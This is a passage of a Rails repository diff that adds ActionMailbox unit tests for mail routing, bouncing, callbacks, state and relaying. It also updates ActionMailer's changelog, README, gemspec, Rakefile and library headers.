+      wrapping_not_needed = Mail::Address.wrap(Mail::Address.new("david@basecamp.com"))
+      assert_equal needing_wrapping.address, wrapping_not_needed.address
+    end
+  end
+end
diff --git a/actionmailbox/test/unit/mail_ext/addresses_test.rb b/actionmailbox/test/unit/mail_ext/addresses_test.rb
new file mode 100644
index 0000000000000..92ea75a071ccf
--- /dev/null
+++ b/actionmailbox/test/unit/mail_ext/addresses_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+module MailExt
+  class AddressesTest < ActiveSupport::TestCase
+    setup do
+      @mail = Mail.new \
+        from: "sally@example.com",
+        reply_to: "sarah@example.com",
+        to: "david@basecamp.com",
+        cc: "jason@basecamp.com",
+        bcc: "andrea@basecamp.com",
+        x_original_to: "ryan@basecamp.com",
+        x_forwarded_to: "jane@example.com"
+    end
+
+    test "from address uses address object" do
+      assert_equal "example.com", @mail.from_address.domain
+    end
+
+    test "reply to address uses address object" do
+      assert_equal "example.com", @mail.reply_to_address.domain
+    end
+
+    test "recipients include everyone from to, cc, bcc, x-original-to, and x-forwarded-to" do
+      assert_equal %w[ david@basecamp.com jason@basecamp.com andrea@basecamp.com ryan@basecamp.com jane@example.com ], @mail.recipients
+    end
+
+    test "recipients addresses use address objects" do
+      assert_equal "basecamp.com", @mail.recipients_addresses.first.domain
+    end
+
+    test "to addresses use address objects" do
+      assert_equal "basecamp.com", @mail.to_addresses.first.domain
+    end
+
+    test "cc addresses use address objects" do
+      assert_equal "basecamp.com", @mail.cc_addresses.first.domain
+    end
+
+    test "bcc addresses use address objects" do
+      assert_equal "basecamp.com", @mail.bcc_addresses.first.domain
+    end
+
+    test "x_original_to addresses use address objects" do
+      assert_equal "basecamp.com", @mail.x_original_to_addresses.first.domain
+    end
+
+    test "x_forwarded_to addresses use address objects" do
+      assert_equal "example.com", @mail.x_forwarded_to_addresses.first.domain
+    end
+  end
+end
diff --git a/actionmailbox/test/unit/mailbox/bouncing_test.rb b/actionmailbox/test/unit/mailbox/bouncing_test.rb
new file mode 100644
index 0000000000000..667ec62c04c31
--- /dev/null
+++ b/actionmailbox/test/unit/mailbox/bouncing_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+class BouncingWithReplyMailbox < ActionMailbox::Base
+  def process
+    bounce_with BounceMailer.bounce(to: mail.from)
+  end
+end
+
+class BouncingWithImmediateReplyMailbox < ActionMailbox::Base
+  def process
+    bounce_now_with BounceMailer.bounce(to: mail.from)
+  end
+end
+
+class ActionMailbox::Base::BouncingTest < ActiveSupport::TestCase
+  include ActionMailer::TestHelper
+
+  setup do
+    @inbound_email = create_inbound_email_from_mail \
+      from: "sender@example.com", to: "replies@example.com", subject: "Bounce me"
+  end
+
+  teardown do
+    ActionMailer::Base.deliveries.clear
+  end
+
+  test "bouncing with a reply" do
+    perform_enqueued_jobs only: ActionMailer::MailDeliveryJob do
+      BouncingWithReplyMailbox.receive @inbound_email
+    end
+
+    assert_predicate @inbound_email, :bounced?
+    assert_emails 1
+
+    mail = ActionMailer::Base.deliveries.last
+    assert_equal %w[ sender@example.com ], mail.to
+    assert_equal "Your email was not delivered", mail.subject
+  end
+
+  test "bouncing now with a reply" do
+    assert_no_enqueued_emails do
+      BouncingWithImmediateReplyMailbox.receive @inbound_email
+    end
+
+    assert_predicate @inbound_email, :bounced?
+    assert_emails 1
+
+    mail = ActionMailer::Base.deliveries.last
+    assert_equal %w[ sender@example.com ], mail.to
+    assert_equal "Your email was not delivered", mail.subject
+  end
+end
diff --git a/actionmailbox/test/unit/mailbox/callbacks_test.rb b/actionmailbox/test/unit/mailbox/callbacks_test.rb
new file mode 100644
index 0000000000000..1917aa3250da0
--- /dev/null
+++ b/actionmailbox/test/unit/mailbox/callbacks_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+class CallbackMailbox < ActionMailbox::Base
+  before_processing { $before_processing = "Ran that!" }
+  after_processing  { $after_processing = "Ran that too!" }
+  around_processing ->(r, block) { block.call; $around_processing = "Ran that as well!" }
+
+  def process
+    $processed = mail.subject
+  end
+end
+
+class BouncingCallbackMailbox < ActionMailbox::Base
+  before_processing { $before_processing = [ "Pre-bounce" ] }
+
+  before_processing do
+    bounce_with BounceMailer.bounce(to: mail.from)
+    $before_processing << "Bounce"
+  end
+
+  before_processing { $before_processing << "Post-bounce" }
+
+  after_processing { $after_processing = true }
+
+  def process
+    $processed = true
+  end
+end
+
+class DiscardingCallbackMailbox < ActionMailbox::Base
+  before_processing { $before_processing = [ "Pre-discard" ] }
+
+  before_processing do
+    delivered!
+    $before_processing << "Discard"
+  end
+
+  before_processing { $before_processing << "Post-discard" }
+
+  after_processing { $after_processing = true }
+
+  def process
+    $processed = true
+  end
+end
+
+class ActionMailbox::Base::CallbacksTest < ActiveSupport::TestCase
+  setup do
+    $before_processing = $after_processing = $around_processing = $processed = false
+    @inbound_email = create_inbound_email_from_fixture("welcome.eml")
+  end
+
+  test "all callback types" do
+    CallbackMailbox.receive @inbound_email
+    assert_equal "Ran that!", $before_processing
+    assert_equal "Ran that too!", $after_processing
+    assert_equal "Ran that as well!", $around_processing
+  end
+
+  test "bouncing in a callback terminates processing" do
+    BouncingCallbackMailbox.receive @inbound_email
+    assert_predicate @inbound_email, :bounced?
+    assert_equal [ "Pre-bounce", "Bounce" ], $before_processing
+    assert_not $processed
+    assert_not $after_processing
+  end
+
+  test "marking the inbound email as delivered in a callback terminates processing" do
+    DiscardingCallbackMailbox.receive @inbound_email
+    assert_predicate @inbound_email, :delivered?
+    assert_equal [ "Pre-discard", "Discard" ], $before_processing
+    assert_not $processed
+    assert_not $after_processing
+  end
+end
diff --git a/actionmailbox/test/unit/mailbox/notifications_test.rb b/actionmailbox/test/unit/mailbox/notifications_test.rb
new file mode 100644
index 0000000000000..655ed4560258f
--- /dev/null
+++ b/actionmailbox/test/unit/mailbox/notifications_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+class RepliesMailbox < ActionMailbox::Base
+end
+
+class ActionMailbox::Base::NotificationsTest < ActiveSupport::TestCase
+  test "instruments processing" do
+    mailbox = RepliesMailbox.new(create_inbound_email_from_fixture("welcome.eml"))
+    expected_payload = {
+      mailbox:,
+      inbound_email: {
+        id: 1,
+        message_id: "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com",
+        status: "processing"
+      }
+    }
+
+    assert_notifications_count("process.action_mailbox", 1) do
+      assert_notification("process.action_mailbox", expected_payload) do
+        mailbox.perform_processing
+      end
+    end
+  end
+end
diff --git a/actionmailbox/test/unit/mailbox/routing_test.rb b/actionmailbox/test/unit/mailbox/routing_test.rb
new file mode 100644
index 0000000000000..8302b1d5ccce6
--- /dev/null
+++ b/actionmailbox/test/unit/mailbox/routing_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+class ApplicationMailbox < ActionMailbox::Base
+  routing "replies@example.com" => :replies
+end
+
+class RepliesMailbox < ActionMailbox::Base
+  def process
+    $processed = mail.subject
+  end
+end
+
+class ActionMailbox::Base::RoutingTest < ActiveSupport::TestCase
+  setup do
+    $processed = false
+  end
+
+  test "string routing" do
+    ApplicationMailbox.route create_inbound_email_from_fixture("welcome.eml")
+    assert_equal "Discussion: Let's debate these attachments", $processed
+  end
+
+  test "delayed routing" do
+    perform_enqueued_jobs only: ActionMailbox::RoutingJob do
+      create_inbound_email_from_fixture "welcome.eml", status: :pending
+      assert_equal "Discussion: Let's debate these attachments", $processed
+    end
+  end
+
+  test "mailbox_for" do
+    inbound_email = create_inbound_email_from_fixture "welcome.eml", status: :pending
+    assert_equal RepliesMailbox, ApplicationMailbox.mailbox_for(inbound_email)
+  end
+end
diff --git a/actionmailbox/test/unit/mailbox/state_test.rb b/actionmailbox/test/unit/mailbox/state_test.rb
new file mode 100644
index 0000000000000..cf1fd5441ea72
--- /dev/null
+++ b/actionmailbox/test/unit/mailbox/state_test.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require_relative "../../test_helper"
+
+class SuccessfulMailbox < ActionMailbox::Base
+  def process
+    $processed = mail.subject
+  end
+end
+
+class UnsuccessfulMailbox < ActionMailbox::Base
+  rescue_from(RuntimeError) { $processed = :failure }
+
+  def process
+    raise "No way!"
+  end
+end
+
+class BouncingMailbox < ActionMailbox::Base
+  def process
+    $processed = :bounced
+    bounced!
+  end
+end
+
+
+class ActionMailbox::Base::StateTest < ActiveSupport::TestCase
+  setup do
+    $processed = false
+    @inbound_email = create_inbound_email_from_mail \
+      to: "replies@example.com", subject: "I was processed"
+  end
+
+  test "successful mailbox processing leaves inbound email in delivered state" do
+    SuccessfulMailbox.receive @inbound_email
+    assert_predicate @inbound_email, :delivered?
+    assert_equal "I was processed", $processed
+  end
+
+  test "unsuccessful mailbox processing leaves inbound email in failed state" do
+    UnsuccessfulMailbox.receive @inbound_email
+    assert_predicate @inbound_email, :failed?
+    assert_equal :failure, $processed
+  end
+
+  test "bounced inbound emails are not delivered" do
+    BouncingMailbox.receive @inbound_email
+    assert_predicate @inbound_email, :bounced?
+    assert_equal :bounced, $processed
+  end
+end
diff --git a/actionmailbox/test/unit/relayer_test.rb b/actionmailbox/test/unit/relayer_test.rb
new file mode 100644
index 0000000000000..89701d0baa111
--- /dev/null
+++ b/actionmailbox/test/unit/relayer_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require_relative "../test_helper"
+
+require "action_mailbox/relayer"
+
+module ActionMailbox
+  class RelayerTest < ActiveSupport::TestCase
+    URL = "https://example.com/rails/action_mailbox/relay/inbound_emails"
+    INGRESS_PASSWORD = "secret"
+
+    setup do
+      @relayer = ActionMailbox::Relayer.new(url: URL, password: INGRESS_PASSWORD)
+    end
+
+    test "successfully relaying an email" do
+      stub_request(:post, URL).to_return status: 204
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "2.0.0", result.status_code
+      assert_equal "Successfully relayed message to ingress", result.message
+      assert_predicate result, :success?
+      assert_not result.failure?
+
+      assert_requested :post, URL, body: file_fixture("welcome.eml").read,
+        basic_auth: [ "actionmailbox", INGRESS_PASSWORD ],
+        headers: { "Content-Type" => "message/rfc822", "User-Agent" => /\AAction Mailbox relayer v\d+\./ }
+    end
+
+    test "unsuccessfully relaying with invalid credentials" do
+      stub_request(:post, URL).to_return status: 401
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "4.7.0", result.status_code
+      assert_equal "Invalid credentials for ingress", result.message
+      assert_not result.success?
+      assert_predicate result, :failure?
+    end
+
+    test "unsuccessfully relaying due to an unspecified server error" do
+      stub_request(:post, URL).to_return status: 500
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "4.0.0", result.status_code
+      assert_equal "HTTP 500", result.message
+      assert_not result.success?
+      assert_predicate result, :failure?
+    end
+
+    test "unsuccessfully relaying due to a gateway timeout" do
+      stub_request(:post, URL).to_return status: 504
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "4.0.0", result.status_code
+      assert_equal "HTTP 504", result.message
+      assert_not result.success?
+      assert_predicate result, :failure?
+    end
+
+    test "unsuccessfully relaying due to ECONNRESET" do
+      stub_request(:post, URL).to_raise Errno::ECONNRESET.new
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "4.4.2", result.status_code
+      assert_equal "Network error relaying to ingress: Connection reset by peer", result.message
+      assert_not result.success?
+      assert_predicate result, :failure?
+    end
+
+    test "unsuccessfully relaying due to connection failure" do
+      stub_request(:post, URL).to_raise SocketError.new("Failed to open TCP connection to example.com:443")
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "4.4.2", result.status_code
+      assert_equal "Network error relaying to ingress: Failed to open TCP connection to example.com:443", result.message
+      assert_not result.success?
+      assert_predicate result, :failure?
+    end
+
+    test "unsuccessfully relaying due to client-side timeout" do
+      stub_request(:post, URL).to_timeout
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "4.4.2", result.status_code
+      assert_equal "Timed out relaying to ingress", result.message
+      assert_not result.success?
+      assert_predicate result, :failure?
+    end
+
+    test "unsuccessfully relaying due to an unhandled exception" do
+      stub_request(:post, URL).to_raise StandardError.new("Something went wrong")
+
+      result = @relayer.relay(file_fixture("welcome.eml").read)
+      assert_equal "4.0.0", result.status_code
+      assert_equal "Error relaying to ingress: Something went wrong", result.message
+      assert_not result.success?
+      assert_predicate result, :failure?
+    end
+  end
+end
diff --git a/actionmailbox/test/unit/router_test.rb b/actionmailbox/test/unit/router_test.rb
new file mode 100644
index 0000000000000..d1f46c18c8bdd
--- /dev/null
+++ b/actionmailbox/test/unit/router_test.rb
@@ -0,0 +1,163 @@
+# frozen_string_literal: true
+
+require_relative "../test_helper"
+
+class RootMailbox < ActionMailbox::Base
+  def process
+    $processed_by   = self.class.to_s
+    $processed_mail = mail
+  end
+end
+
+class FirstMailbox < RootMailbox
+end
+
+class SecondMailbox < RootMailbox
+end
+
+module Nested
+  class FirstMailbox < RootMailbox
+  end
+end
+
+class FirstMailboxAddress
+  def match?(inbound_email)
+    inbound_email.mail.to.include?("replies-class@example.com")
+  end
+end
+
+module ActionMailbox
+  class RouterTest < ActiveSupport::TestCase
+    setup do
+      @router = ActionMailbox::Router.new
+      $processed_by = $processed_mail = nil
+    end
+
+    test "single string route" do
+      @router.add_routes("first@example.com" => :first)
+
+      inbound_email = create_inbound_email_from_mail(to: "first@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "FirstMailbox", $processed_by
+      assert_equal inbound_email.mail, $processed_mail
+    end
+
+    test "single string routing on cc" do
+      @router.add_routes("first@example.com" => :first)
+
+      inbound_email = create_inbound_email_from_mail(to: "someone@example.com", cc: "first@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "FirstMailbox", $processed_by
+      assert_equal inbound_email.mail, $processed_mail
+    end
+
+    test "single string routing on bcc" do
+      @router.add_routes("first@example.com" => :first)
+
+      inbound_email = create_inbound_email_from_mail(to: "someone@example.com", bcc: "first@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "FirstMailbox", $processed_by
+      assert_equal inbound_email.mail, $processed_mail
+    end
+
+    test "single string routing case-insensitively" do
+      @router.add_routes("first@example.com" => :first)
+
+      inbound_email = create_inbound_email_from_mail(to: "FIRST@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "FirstMailbox", $processed_by
+      assert_equal inbound_email.mail, $processed_mail
+    end
+
+    test "multiple string routes" do
+      @router.add_routes("first@example.com" => :first, "second@example.com" => :second)
+
+      inbound_email = create_inbound_email_from_mail(to: "first@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "FirstMailbox", $processed_by
+      assert_equal inbound_email.mail, $processed_mail
+
+      inbound_email = create_inbound_email_from_mail(to: "second@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "SecondMailbox", $processed_by
+      assert_equal inbound_email.mail, $processed_mail
+    end
+
+    test "single regexp route" do
+      @router.add_routes(/replies-\w+@example.com/ => :first, "replies-nowhere@example.com" => :second)
+
+      inbound_email = create_inbound_email_from_mail(to: "replies-okay@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "FirstMailbox", $processed_by
+    end
+
+    test "single proc route" do
+      @router.add_route \
+        ->(inbound_email) { inbound_email.mail.to.include?("replies-proc@example.com") },
+        to: :second
+
+      @router.route create_inbound_email_from_mail(to: "replies-proc@example.com", subject: "This is a reply")
+      assert_equal "SecondMailbox", $processed_by
+    end
+
+    test "address class route" do
+      @router.add_route FirstMailboxAddress.new, to: :first
+      @router.route create_inbound_email_from_mail(to: "replies-class@example.com", subject: "This is a reply")
+      assert_equal "FirstMailbox", $processed_by
+    end
+
+    test "string route to nested mailbox" do
+      @router.add_route "first@example.com", to: "nested/first"
+
+      inbound_email = create_inbound_email_from_mail(to: "first@example.com", subject: "This is a reply")
+      @router.route inbound_email
+      assert_equal "Nested::FirstMailbox", $processed_by
+    end
+
+    test "all as the only route" do
+      @router.add_route :all, to: :first
+      @router.route create_inbound_email_from_mail(to: "replies-class@example.com", subject: "This is a reply")
+      assert_equal "FirstMailbox", $processed_by
+    end
+
+    test "all as the second route" do
+      @router.add_route FirstMailboxAddress.new, to: :first
+      @router.add_route :all, to: :second
+
+      @router.route create_inbound_email_from_mail(to: "replies-class@example.com", subject: "This is a reply")
+      assert_equal "FirstMailbox", $processed_by
+
+      @router.route create_inbound_email_from_mail(to: "elsewhere@example.com", subject: "This is a reply")
+      assert_equal "SecondMailbox", $processed_by
+    end
+
+    test "missing route" do
+      inbound_email = create_inbound_email_from_mail(to: "going-nowhere@example.com", subject: "This is a reply")
+      assert_raises(ActionMailbox::Router::RoutingError) do
+        @router.route inbound_email
+      end
+      assert_predicate inbound_email, :bounced?
+    end
+
+    test "invalid address" do
+      error = assert_raises(ArgumentError) do
+        @router.add_route Array.new, to: :first
+      end
+      assert_equal "Expected a Symbol, String, Regexp, Proc, or matchable, got []", error.message
+    end
+
+    test "single string mailbox_for" do
+      @router.add_routes("first@example.com" => :first)
+
+      inbound_email = create_inbound_email_from_mail(to: "first@example.com", subject: "This is a reply")
+      assert_equal FirstMailbox, @router.mailbox_for(inbound_email)
+    end
+
+    test "mailbox_for with no matches" do
+      @router.add_routes("first@example.com" => :first)
+
+      inbound_email = create_inbound_email_from_mail(to: "second@example.com", subject: "This is a reply")
+      assert_nil @router.mailbox_for(inbound_email)
+    end
+  end
+end
diff --git a/actionmailbox/test/unit/test_helper_test.rb b/actionmailbox/test/unit/test_helper_test.rb
new file mode 100644
index 0000000000000..d392c80133789
--- /dev/null
+++ b/actionmailbox/test/unit/test_helper_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require_relative "../test_helper"
+
+module ActionMailbox
+  class TestHelperTest < ActiveSupport::TestCase
+    test "multi-part mail can be built in tests using a block" do
+      inbound_email = create_inbound_email_from_mail do
+        to "test@example.com"
+        from "hello@example.com"
+
+        text_part do
+          body "Hello, world"
+        end
+
+        html_part do
+          body "<h1>Hello, world</h1>"
+        end
+      end
+
+      mail = inbound_email.mail
+
+      expected_mail_text_part = <<~TEXT.chomp
+        Content-Type: text/plain;\r
+         charset=UTF-8\r
+        Content-Transfer-Encoding: 7bit\r
+        \r
+        Hello, world
+      TEXT
+
+      expected_mail_html_part = <<~HTML.chomp
+        Content-Type: text/html;\r
+         charset=UTF-8\r
+        Content-Transfer-Encoding: 7bit\r
+        \r
+        <h1>Hello, world</h1>
+      HTML
+
+      assert_equal 2, mail.parts.count
+      assert_equal expected_mail_text_part, mail.text_part.to_s
+      assert_equal expected_mail_html_part, mail.html_part.to_s
+    end
+  end
+end
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index 6ec10c7a704cf..9163901e39662 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,31 +1,18 @@
-*   Add `:args` to `process.action_mailer` event.
+*   Add `assert_part` and `assert_no_part` to `ActionMailer::TestCase`
 
-    *Yuji Yaginuma*
+    ```ruby
+    test "assert MyMailer.welcome HTML and text parts" do
+      mail = MyMailer.welcome("Hello, world")
 
-*   Add parameterized invocation of mailers as a way to share before filters and defaults between actions.
-    See ActionMailer::Parameterized for a full example of the benefit.
+      assert_part :text, mail do |text|
+        assert_includes text, "Hello, world"
+      end
+      assert_part :html, mail do |html|
+        assert_dom html.root, "p", "Hello, world"
+      end
+    end
+    ```
 
-    *DHH*
+    *Sean Doyle*
 
-*   Allow lambdas to be used as lazy defaults in addition to procs.
-
-    *DHH*
-
-*   Mime type: allow to custom content type when setting body in headers
-    and attachments.
-
-    Example:
-
-        def test_emails
-          attachments["invoice.pdf"] = "This is test File content"
-          mail(body: "Hello there", content_type: "text/html")
-        end
-
-    *Minh Quy*
-
-*   Exception handling: use `rescue_from` to handle exceptions raised by
-    mailer actions, by message delivery, and by deferred delivery jobs.
-
-    *Jeremy Daer*
-
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actionmailer/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index ac810e86d0210..7be9ac633faf0 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
index 397ebe42017d4..5259b952e13d7 100644
--- a/actionmailer/README.rdoc
+++ b/actionmailer/README.rdoc
@@ -13,6 +13,8 @@ Additionally, an Action Mailer class can be used to process incoming email,
 such as allowing a blog to accept new posts from an email (which could even
 have been sent from a phone).
 
+You can read more about Action Mailer in the {Action Mailer Basics}[https://guides.rubyonrails.org/action_mailer_basics.html] guide.
+
 == Sending emails
 
 The framework works by initializing any instance variables you want to be
@@ -76,7 +78,7 @@ Or you can just chain the methods together like:
 
 It is possible to set default values that will be used in every method in your
 Action Mailer class. To implement this functionality, you just call the public
-class method +default+ which you get for free from <tt>ActionMailer::Base</tt>.
+class method +default+ which you get for free from ActionMailer::Base.
 This method accepts a Hash as the parameter. You can use any of the headers,
 email messages have, like +:from+ as the key. You can also pass in a string as
 the key, like "Content-Type", but Action Mailer does this out of the box for you,
@@ -93,42 +95,6 @@ Example:
     .....
   end
 
-== Receiving emails
-
-To receive emails, you need to implement a public instance method called
-+receive+ that takes an email object as its single parameter. The Action Mailer
-framework has a corresponding class method, which is also called +receive+, that
-accepts a raw, unprocessed email as a string, which it then turns into the email
-object and calls the receive instance method.
-
-Example:
-
-  class Mailman < ActionMailer::Base
-    def receive(email)
-      page = Page.find_by(address: email.to.first)
-      page.emails.create(
-        subject: email.subject, body: email.body
-      )
-
-      if email.has_attachments?
-        email.attachments.each do |attachment|
-          page.attachments.create({
-            file: attachment, description: email.subject
-          })
-        end
-      end
-    end
-  end
-
-This Mailman can be the target for Postfix or other MTAs. In Rails, you would use
-the runner in the trivial case like this:
-
-  rails runner 'Mailman.receive(STDIN.read)'
-
-However, invoking Rails in the runner for each mail to be received is very
-resource intensive. A single instance of Rails should be run within a daemon, if
-it is going to process more than just a limited amount of email.
-
 == Configuration
 
 The Base class has the full list of configuration options. Here's an example:
@@ -148,28 +114,28 @@ The latest version of Action Mailer can be installed with RubyGems:
 
   $ gem install actionmailer
 
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the \Rails project on GitHub:
 
-* https://github.com/rails/rails/tree/master/actionmailer
+* https://github.com/rails/rails/tree/main/actionmailer
 
 
 == License
 
 Action Mailer is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 
 == Support
 
 API documentation is at
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
index 6f05d236d9131..3b55b05c19f0b 100644
--- a/actionmailer/Rakefile
+++ b/actionmailer/Rakefile
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "rake/testtask"
 
 desc "Default Task"
 task default: [ :test ]
 
-task :package
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 # Run the unit tests
 Rake::TestTask.new { |t|
@@ -11,13 +13,20 @@ Rake::TestTask.new { |t|
   t.pattern = "test/**/*_test.rb"
   t.warning = true
   t.verbose = true
+  t.options = "--profile" if ENV["CI"]
   t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 }
 
 namespace :test do
-  task :isolated do
+  task isolated: :railties do
     Dir.glob("test/**/*_test.rb").all? do |file|
       sh(Gem.ruby, "-w", "-Ilib:test", file)
     end || raise("Failures")
   end
+
+  task :railties do
+    ["action_mailer/railtie"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
 end
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
index e75dae6cf930b..88a9be08c1cf7 100644
--- a/actionmailer/actionmailer.gemspec
+++ b/actionmailer/actionmailer.gemspec
@@ -1,28 +1,43 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
   s.name        = "actionmailer"
   s.version     = version
-  s.summary     = "Email composition, delivery, and receiving framework (part of Rails)."
-  s.description = "Email on Rails. Compose, deliver, receive, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments."
+  s.summary     = "Email composition and delivery framework (part of Rails)."
+  s.description = "Email on Rails. Compose, deliver, and test emails using the familiar controller/view pattern. First-class support for multipart email and attachments."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
   s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "lib/**/*"]
   s.require_path = "lib"
   s.requirements << "none"
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/actionmailer/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/actionmailer",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
+  s.add_dependency "activesupport", version
   s.add_dependency "actionpack", version
   s.add_dependency "actionview", version
   s.add_dependency "activejob", version
 
-  s.add_dependency "mail", ["~> 2.5", ">= 2.5.4"]
-  s.add_dependency "rails-dom-testing", "~> 2.0"
+  s.add_dependency "mail", ">= 2.8.0"
+  s.add_dependency "rails-dom-testing", "~> 2.2"
 end
diff --git a/actionmailer/bin/test b/actionmailer/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/actionmailer/bin/test
+++ b/actionmailer/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index 211190560a3c5..f58a858094143 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2004-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -23,14 +25,17 @@
 
 require "abstract_controller"
 require "action_mailer/version"
+require "action_mailer/deprecator"
 
 # Common Active Support usage in Action Mailer
+require "active_support"
 require "active_support/rails"
 require "active_support/core_ext/class"
 require "active_support/core_ext/module/attr_internal"
 require "active_support/core_ext/string/inflections"
 require "active_support/lazy_load_hooks"
 
+# :include: ../README.rdoc
 module ActionMailer
   extend ::ActiveSupport::Autoload
 
@@ -39,6 +44,7 @@ module ActionMailer
   end
 
   autoload :Base
+  autoload :Callbacks
   autoload :DeliveryMethods
   autoload :InlinePreviewInterceptor
   autoload :MailHelper
@@ -48,12 +54,26 @@ module ActionMailer
   autoload :TestCase
   autoload :TestHelper
   autoload :MessageDelivery
-  autoload :DeliveryJob
+  autoload :MailDeliveryJob
+  autoload :QueuedDelivery
+  autoload :FormBuilder
+
+  def self.eager_load!
+    super
+
+    require "mail"
+    Mail.eager_autoload!
+
+    Base.descendants.each do |mailer|
+      mailer.eager_load! unless mailer.abstract?
+    end
+  end
 end
 
 autoload :Mime, "action_dispatch/http/mime_type"
 
 ActiveSupport.on_load(:action_view) do
   ActionView::Base.default_formats ||= Mime::SET.symbols
-  ActionView::Template::Types.delegate_to Mime
+  ActionView::Template.mime_types_implementation = Mime
+  ActionView::LookupContext::DetailsKey.clear
 end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index 9b5d39faeab31..4ad5145995a96 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "mail"
 require "action_mailer/collector"
 require "active_support/core_ext/string/inflections"
@@ -5,20 +7,23 @@
 require "active_support/core_ext/module/anonymous"
 
 require "action_mailer/log_subscriber"
+require "action_mailer/structured_event_subscriber"
 require "action_mailer/rescuable"
 
 module ActionMailer
+  # = Action Mailer \Base
+  #
